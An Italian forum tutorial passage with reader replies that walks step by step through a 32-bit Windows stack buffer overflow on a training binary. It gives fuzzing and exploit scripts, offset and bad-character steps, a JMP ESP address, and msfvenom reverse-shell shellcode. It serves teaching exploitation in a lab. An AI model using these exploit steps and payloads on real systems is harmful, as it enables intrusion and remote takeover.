    print("Usage: fuzz.py <ip> <port>")
    sys.exit(1)

ip      = sys.argv[1]
port    = int(sys.argv[2])

crash = 481

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * crash

try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((ip, port))
        s.recv(1024)
        print(f"Sending payload...")
        s.send(bytes(payload, "latin-1"))
        s.recv(1024)
except:
    print(f"Crashed using {len(payload) - len(cmd) -1} bytes")
    sys.exit(0)

Eseguendo lo script il programma sembra crashare "a comando":

Bene, ora dobbiamo capire se il crash è dovuto alla sovrascrittura dell'Instruction Pointer (il registro della CPU che indica quale istruzione leggere ed eseguire) o se il crash è dovuto ad altro. Per verificarlo dobbiamo utilizzare un apposito programma in grado di collegarsi al processo del software che vogliamo analizzare e che ci permetta di ispezionare la sua memoria e lo stato dei registri della cpu: il debugger.

Esistono moltissimi debugger differenti, sia su Windows che su Linux, ognuno dei quali ha pregi e difetti. Visto che su questa macchina virtuale è presente Immunity Debugger utilizzeremo questo programma, ma sentitevi liberi di esplorare tutti gli altri debugger esistenti, come per esempio il nuovo e potentissimo WinDBG.​


NdR: Visto che i debugger operano con la memoria, la CPU, i registri e quant'altro, hanno sempre bisogno di privilegi elevati per funzionare correttamente. Ricordatevi quindi di eseguire sempre il programma come amministratore!


Per debuggare un programma abbiamo due strade: o lo eseguiamo direttamente tramite il debugger (dal menù File/Open) oppure facciamo l'attach del debugger ad un processo già in esecuzione (dal menù File/Attach).​


A primo impatto Immunity (come qualsiasi altro debugger) è molto scoraggiante. Se vi sentite intimoriti da tutte queste informazioni incomprensibili mostrate dall'interfaccia, sappiate che è normale. Sebbene l'approfondimento dello strumento è al di fuori dello scopo di questa guida, è anche vero che senza conoscere come utilizzare o leggere i dati che ci mostra il debugger, risulta impossibile comprendere e analizzare cosa stia succedendo. Facciamo dunque un rapido excursus sull'interfaccia di Immunity.​

  • Il quadrante superiore sinistro mostra le istruzioni del programma in esecuzione, in linguaggio assembly. Qua è possibile navigare il codice del programma, leggerne le varie istruzioni e abilitare/disabilitare breakpoints agli indirizzi di memoria interessati.
  • Il quadrante superiore destro mostra lo stato dei registri e il loro contenuto. Qua è possibile ispezionare e modificare in ogni momento dell'esecuzione il valore dei vari registri.
  • Il quadrante inferiore destro mostra il contenuto e lo stato dello Stack.
  • Il quadrante inferiore sinistro mostra la parte di memoria subito successiva a quella di codice.
Bene, ora che abbiamo capito un po' meglio cosa rappresentino queste quattro videate non ci resta altro che eseguire il nostro exploit e analizzare lo stato della memoria del programma dopo il crash.


Come possiamo notare dagli elementi evidenziati nell'immagine sopra, abbiamo riempito lo stack con dei dati a nostra scelta (tante "A", 0x41 in esadecimale), andando a sovrascrivere anche il registro EIP e facendo quindi crashare il server. Siccome la CPU utilizza il registro EIP per sapere quali istruzioni eseguire (la CPU esegue le istruzioni contenute all'indirizzo di memoria puntato da EIP), dal momento che EIP punta l'indirizzo di memoria 0x41414141, la CPU non trova istruzioni valide a quell'indirizzo e quindi crasha. Siccome però abbiamo sovrascritto EIP, significa che calcolando il giusto offset possiamo iniettare un indirizzo arbitrario all'interno di EIP e dirottare l'esecuzione del programma verso degli indirizzi di memoria a nostra scelta, facendogli sostanzialmente eseguire qualsiasi istruzione vogliamo!​

2.3    Controllare l'Instruction Pointer

Per controllare in maniera regolare il contenuto di EIP abbiamo bisogno di calcolare quale sia il giusto offset all'interno del buffer per arrivare all'instruction pointer. Per farlo possiamo generare un pattern univoco e controllare quale sia il contenuto di EIP una volta crashato il programma. Calcolando la distanza del contenuto di EIP rispetto all'inizio del pattern, dovremmo essere in grado di identificare il corretto offset per controllare EIP.

Esistono diverse utilities che permettono di generare tali pattern: msf-pattern_create, direttamente dalle utilities di Metasploit, cyclic, un particolare modulo di pwntools, addirittura alcuni siti online come il seguente. Scelto il nostro strumento, generiamo il pattern della lunghezza desiderata, ricordandoci comunque di utilizzare una lunghezza sufficiente per crashare il server.​
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-pattern_create -l 481
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9A

Aggiorniamo ora il nostro exploit, assicuriamoci di riavviare il programma che abbiamo precedentemente fatto crashate, facciamo l'attach di Immunity al processo ed inviamo nuovamente la richiesta: $ python3 exploit.py 10.10.214.42 1337
Python:
...
cmd = "OVERFLOW5"
#payload = cmd + " " + "A" * crash
payload = cmd + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9A"
...


Possiamo vedere come nello Stack sia ora presente il nostro pattern di caratteri e come EIP contenta adesso una sequenza di bytes univoci. Utilizziamo ora un qualsiasi strumento per calcolare la distanza della sequenza univoca (0x356B4134) dall'inizio del nostro pattern. Nell'esempio seguente utilizzeremo la controparte di msf-pattern_create: msf-pattern_offset.​

Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-pattern_offset -l 481 -q 356B4134
[*] Exact match at offset 314

Perfetto, sappiamo ora che il pattern contenuto in EIP è distante esattamente 314 caratteri dall'inizio del buffer. Ciò significa che se dopo 314 caratteri inseriamo un indirizzo arbitrario, questo finirà all'interno di EIP, permettendoci di controllare il registro a nostro piacimento e di conseguenza controllare il comportamento dell'intero programma. Verifichiamo subito che l'offset sia giusto modificando nuovamente il nostro exploit (ricordiamoci di riempire sempre il buffer in modo tale che il programma vada in crash!):
Python:
...
crash = 481
offset = 314
EIP = "BBBB"

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * offset + EIP + "C" * (crash - offset - 4)
...

Lanciamo ora il nostro exploit e controlliamo se all'intero di EIP è presente "BBBB" (0x42424242).


Ci siamo! EIP contiene il valore arbitrario che abbiamo inserito all'interno dell'exploit! Ciò significa che siamo in pieno controllo di EIP e che possiamo reindirizzare l'esecuzione del programma a nostro piacimento! Non ci resta altro da fare che identificare gli eventuali bad-chars, iniettare il nostro shellcode e costringere il programma ad eseguirlo!​

2.4    Ricerca dei bad-chars

Cosa sono i bad-chars? Sono particolari bytes, diversi in ogni programma, che "rompono" o alterano uno shellcode, rendendolo inutilizzabile. I bad-chars dipendono dalle istruzioni utilizzate dal programma, per cui l'unico modo per identificarli è quello di piazzare tutti i possibili bytes all'interno dello Stack e analizzare quali di essi si comportino diversamente dal resto. Un bad-char molto noto, per esempio, è il terminatore di stringa 0x00 poiché utilizzato da molte istruzioni come carattere per indicare la fine di una stringa. Se tale byte dovesse trovarsi a metà di uno shellcode, molto probabilmente lo "spezzerebbe" in due.

Inseriamo dunque un elenco di bad-chars all'interno del nostro exploit, in modo che vengano poi inseriti nello Stack per ulteriori analisi con Immunity:​
Python:
crash = 481
offset = 314
EIP = "BBBB"

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

cmd = "OVERFLOW5"
payload = cmd + " " + "A" * offset + EIP + badchars + "C" * 100

A questo punto dovremmo avere tutti i possibili bytes all'interno dello stack. Grazie ad un plugin di Immunity già installato in questa VM, chiamano mona, possiamo utilizzare il comando !mona bytearray -b "\x00" per generare nella VM una sequenza di bytes come quella iniettata nello Stack (1) e comparare quindi le due sequenze (2), tramite il comando !mona compare -f bytearray.bin -a <address>, in cerca di un disallineamento. Il primo punto in cui troviamo una differenza tra le due sequenze significa che è presente un bad-char, il quale dovrà quindi venir rimosso dalle due sequenze.

Come mostrato in figura, il primo disallineamento è presente per il bytecode 0x16, che all'interno dello Stack è rimpiazzato con un 0x0a. Ottimo, abbiamo trovato il primo byte-code! Rimuoviamolo sia dalla sequenza di bytes nell'exploit, sia dal bytearray tramite il comando !mona bytearray -b "\x00\x16" e ripetiamo il processo finché le due sequenze non corrispondono.

Arrivati qui, abbiamo l'elenco completo dei bad-chars per questa funzione (\x00\x16\x2f\xf4\xfd), dunque siamo pronti a genere uno shellcode valido. Dobbiamo solo più capire in quale punto dello Stack ci conviene piazzarlo, dopodichè avremo tutto il necessario per scrivere il nostro exploit conclusivo ed ottenere una shell.​

2.5    Ricerca di una zona in cui iniettare lo shellcode

Siamo quasi pronti, dobbiamo solo più trovare dove piazzare il nostro shellcode. Potremmo provare a metterlo "a caso" nello Stack e provare ad indovinare l'indirizzo di memoria corretto, ma ciò non renderebbe il nostro exploit attendibile, garantendo chance di successo troppo basse. Dobbiamo trovare invece un modo consistente che ci permetta di puntare con il 100% di sicurezza il nostro shellcode. Diamo quindi un'ulteriore occhiata allo stato dei registri al momento del crash del programma:

Sia il registro EAX che il registro ESP, al momento del crash, puntano indirizzi di memoria all'interno dello Stack. Il primo punta esattamente all'inizio del nostro buffer, perciò per saltare dentro allo shellcode dovremmo aggiungere almeno 10 bytes all'indirizzo di memoria (in modo da saltare dopo il comando "OVERFLOW5 "). Il secondo invece punta esattamente dentro il nostro buffer di badchars, per cui se rimpiazzassimo quei bytes con il nostro shellcode, potremo usare ESP come "trampolino" (tecnicamente chiamato gadget) in modo da saltare all'indirizzo da lui puntato e atterrare quindi dentro lo shellcode.

Il payload risulterebbe quindi simile al seguente: "OVERFLOW5 " + PADDING + EIP + SHELLCODE + FILLER

Per fare ciò, però, dobbiamo prima trovare un gadget che ci permetta di utilizzare ESP come punto di riferimento. In assmbly esistono diverse istruzioni che permettono di saltare direttamente ad un indirizzo di memoria, come per esempio JMP o CALL. Il nostro obiettivo è trovare un'istruzione all'interno del binario o delle librerie caricate da esso che ci permetta di "saltare dentro ESP" (JMP ESP). Usando msf-nasm_shell o rasm2 possiamo convertire in bytecode l'istruzione che ci interessa, dopodiché possiamo utilizzare nuovamente mona per cercarla all'interno del binario.

Convertiamo in bytecode l'istruzione jmp esp:​
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msf-nasm_shell
nasm > jmp esp
00000000  FFE4              jmp esp

Analizziamo tutti i moduli importati del programma con il comando !mona modules e cerchiamone una senza protezioni:


Cerchiamo infine con il comando !mona find -s "\xff\xe4" -m <nome_modulo> -cpb '\x00\x16\x2f\xf4\xfd' il bytecode che ci interessa, escludendo con i flag -cpb tutti gli indirizzi contenenti dei bad-chars:​


oscp.exe non contiene l'istruzione che ci interessa, ma essfunc.dll ne contiene ben 9. Siccome la .dll non implementa nessun meccanismo di protezione, gli indirizzi di memoria saranno sempre gli stessi, per cui scelto un indirizzo potremo usare sempre quello senza preoccuparci di ricalcolarlo. Nel mio caso utilizzerò 0x625011AF.

Perfetto, a questo punto abbiamo anche l'indirizzo di JMP ESP, che nel nostro exploit prenderà il posto di EIP (vogliamo che EIP punti all'indirizzo di JMP ESP in modo tale che quando poi lo esegue salti sempre dentro il nostro shellcode, in maniera costante). Manca solo più generare lo shellcode e siamo pronti!​

2.6    Generazione dello shellcode

Arrivati qui possiamo decidere se utilizzare uno shellcode già esistente dai db più famosi, come per esempio shell-storm, o se generarci il nostro shellcode custom. In linea di massima è sempre preferibile generarsi lo shellcode in autonomia, in modo da avere il maggior controllo possibile sul suo contenuto e sui bad-chars da evitare, per cui utilizziamo msfvenom per aiutarci nell'intento. Usiamo come payload una generica reverse shell stageless per windows, il flag -b <bytes> per specificare l'elenco di bad-chars da evitare, -f py per specificare il formato python ed EXITFUNC=thread per cercare di non crashare il programma all'uscita della shell:
Bash:
┌──(kali㉿kali)-[~/CTFs/THM]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=10099 -f py -b "\x00\x16\x2f\xf4\xfd" EXITFUNC=thread -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
...
Payload size: 353 bytes
Final size of py file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x71\xdf\x87\xbd\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x8d\x37\x05\xbd\x6d\xc8\x6a\x37"
shellcode += b"\x88\xf9\xaa\x23\xd9\xaa\x1a\x27\x8f\x46\xd0"
shellcode += b"\x65\x3b\xdc\x94\xa1\x4c\x55\x12\x94\x63\x66"
shellcode += b"\x0f\xe4\xe2\xe4\x52\x39\xc4\xd5\x9c\x4c\x05"
shellcode += b"\x11\xc0\xbd\x57\xca\x8e\x10\x47\x7f\xda\xa8"
shellcode += b"\xec\x33\xca\xa8\x11\x83\xed\x99\x84\x9f\xb7"
shellcode += b"\x39\x27\x73\xcc\x73\x3f\x90\xe9\xca\xb4\x62"
shellcode += b"\x85\xcc\x1c\xbb\x66\x62\x61\x73\x95\x7a\xa6"
shellcode += b"\xb4\x46\x09\xde\xc6\xfb\x0a\x25\xb4\x27\x9e"
shellcode += b"\xbd\x1e\xa3\x38\x19\x9e\x60\xde\xea\xac\xcd"
shellcode += b"\x94\xb4\xb0\xd0\x79\xcf\xcd\x59\x7c\x1f\x44"
shellcode += b"\x19\x5b\xbb\x0c\xf9\xc2\x9a\xe8\xac\xfb\xfc"
shellcode += b"\x52\x10\x5e\x77\x7e\x45\xd3\xda\x17\xaa\xde"
shellcode += b"\xe4\xe7\xa4\x69\x97\xd5\x6b\xc2\x3f\x56\xe3"
shellcode += b"\xcc\xb8\x99\xde\xa9\x56\x64\xe1\xc9\x7f\xa3"
shellcode += b"\xb5\x99\x17\x02\xb6\x71\xe7\xab\x63\xd5\xb7"
shellcode += b"\x03\xdc\x96\x67\xe4\x8c\x7e\x6d\xeb\xf3\x9f"
shellcode += b"\x8e\x21\x9c\x0a\x75\xa2\xa9\xc2\xcc\xc3\xc6"
shellcode += b"\xd0\x2e\x03\x64\x5c\xc8\x21\x9a\x08\x43\xde"
shellcode += b"\x03\x11\x1f\x7f\xcb\x8f\x5a\xbf\x47\x3c\x9b"
shellcode += b"\x0e\xa0\x49\x8f\xe7\x40\x04\xed\xae\x5f\xb2"
shellcode += b"\x99\x2d\xcd\x59\x59\x3b\xee\xf5\x0e\x6c\xc0"
shellcode += b"\x0f\xda\x80\x7b\xa6\xf8\x58\x1d\x81\xb8\x86"
shellcode += b"\xde\x0c\x41\x4a\x5a\x2b\x51\x92\x63\x77\x05"
shellcode += b"\x4a\x32\x21\xf3\x2c\xec\x83\xad\xe6\x43\x4a"
shellcode += b"\x39\x7e\xa8\x4d\x3f\x7f\xe5\x3b\xdf\xce\x50"
shellcode += b"\x7a\xe0\xff\x34\x8a\x99\x1d\xa5\x75\x70\xa6"
shellcode += b"\xc5\x97\x50\xd3\x6d\x0e\x31\x5e\xf0\xb1\xec"
shellcode += b"\x9d\x0d\x32\x04\x5e\xea\x2a\x6d\x5b\xb6\xec"
shellcode += b"\x9e\x11\xa7\x98\xa0\x86\xc8\x88\xa0\x28\x37"
shellcode += b"\x33"

Ci siamo, abbiamo il nostro payload già in formato python3 pronto per essere utilizzato! Non ci resta altro da fare che inserirlo nell'exploit e lanciarlo per ottenere una reverse shell!​

2.7    Stesura dell'exploit finale

Perfetto, abbiamo tutto ciò che ci serve e abbiamo anche già una bozza di exploit. Aggiungiamo innanzitutto il nostro shellcode. E' buona norma aggiungere come commento il comando utilizzato per generare la sequenza di bytes, per cui aggiungetelo. Siccome stiamo usando python3, è fondamentale che prima di ogni bytes sia presente la lettera b (b"\xcc\xbb\xaa", per esempio), altrimenti tali caratteri verrebbero interpretati come caratteri ascii anzichè come rispettivi raw-bytes, rompendo lo shellcode. Per essere sicuro di non corrompere lo shellcode ho aggiunto un NOP-sled di 32 bytes prima di esso (\x90), in modo da creare uno scivolo di istruzioni nulle (nop significa proprio no-operation, 0x90 non fa nulla se non far avanzare di un byte l'istruction pointer). In questo modo lo shellcode ha 32 bytes di spazio antecedente a se stesso in caso dovesse eseguire una decodifica dei propri caratteri (capita che i payload encodati si corrompano da soli nel processo di decoding proprio perchè non hanno abbastanza "spazio di manovra" per piazzare la stub di decodifica). Infine ho usato il modulo struct per allineare l'indirizzo EIP secondo il sistema little endian

L'exploit finale risulta essere quindi il seguente:
*** Testo nascosto: non può essere aggiunto alla citazione ***


Non ci resta altro da fare che lanciarlo e catturare la nostra reverse shell!


3    Conclusioni

Questa è la logica di base riguardo i fondamenti dell'exploitation di vulnerabilità Stack-based Buffer Overflow. Ovviamente i programmi moderni non girano più su 32 bit, bensì su 64, e i compilatori implementano, ove possibile, numerose tecniche di mitigazione e protezione (che vedremo prossimamente). Inoltre tenete presente che la binary exploitation in ambiente Linux potrebbe leggermente differire da ciò che abbiamo visto oggi su Windows.​

3.1    Extra-miles: Programmi vulnerabili con cui esercitarsi

Se voleste esercitarvi con altri binari "retrò" vulnerabili a Stack-based Buffer Overflow, date un occhiata ai seguenti programmi:

3.2    Ulteriori risorse e approfondimenti



Made with ❤ for Inforge

@0xbro veramente bella guida. Grande
 
  • Love
Reazioni: 0xbro
Guida davvero ben fatta, spettacolare!
Hai spiegato in maniera chiara come funziona un attacco buffer overflow.
Me la leggerò più volte dal momento che alcuni passaggi non mi sono chiari, ad esempio quando vai a fare l'allineamento delle sequenze di byte nello stack per trovare i bad chars da eliminare e quando fai la ricerca del punto dove iniettare lo shellcode, del resto ho ancora tanto da studiare sull'argomento reversing però in linea di massima ho capito cosa sei andato a fare.
 
  • Love
Reazioni: 0xbro
Guida davvero ben fatta, spettacolare!
Hai spiegato in maniera chiara come funziona un attacco buffer overflow.
Me la leggerò più volte dal momento che alcuni passaggi non mi sono chiari, ad esempio quando vai a fare l'allineamento delle sequenze di byte nello stack per trovare i bad chars da eliminare e quando fai la ricerca del punto dove iniettare lo shellcode, del resto ho ancora tanto da studiare sull'argomento reversing però in linea di massima ho capito cosa sei andato a fare.
Per quanto riguarda la ricerca dei bad-chars, è un processo ciclico. Ti crei da una parta il "campione" che aspetti di trovarti in memoria ( e lo fai con !mona bytearray -b "\x00" ) mentre dall'altra, tramite l'overflow, inietti tutti i caratteri da 0x00 a 0xFF. Dopodichè compari i due risultati e guardi il primo punto in cui differiscono (nell'esempio sopra si vede bene che alla posizione 0x16 del file in memoria in realtà si trovi 0x0A). Una volta identificato questo bad-chars (cioè 0x16, perchè significa che tutte le volte che verrà usato verrà convertito in 0x0A) lo si rimuove sia dal "campione" generato con mona, sia dall'elenco di caratteri iniettati nello stack, e ripete il processo: injection, controllo quale sia il primo carattere che differisce tra campione e stack, lo rimuovo, rigenero il file e via da capo, finchè il mio campione e ciò che inieitto nello stack non saranno del tutto identici.

la ricerca del punto dove iniettare lo shellcode
per questo invece non c'è una regola o metodologia precisa, l'obiettivo è trovare una posizione di memoria abbastanza capiente da farci stare tutto il nostro shellcode, ma che sia anche facilmente raggiungibile con qualche gadget. Nel nostro caso ci va bene che al momento del crash abbiamo un registro che punta direttamente dentro lo stack (ESP) e che nelle varie libreria abbiamo a disposizione un "gadget" che possiamo utilizzare per arrivare dentro lo stack (jmp ESP). In altri casi, però, potrebbe essere possibile iniettare il nostro shellcode da qualche altra parte (ad esempio nelle variabili d'ambiente di Linux) e poi saltare a quella posizione tramite qualche altro gadget. Diciamo che questo punto è più un processo creativo, in cui si controllano tutti i gadget richiamabili che si hanno a disposizione e si cerca di capire se qualcuno di essi possa essere utilizzato per "saltare" in una zona di memoria controllabile (e quindi iniettabile)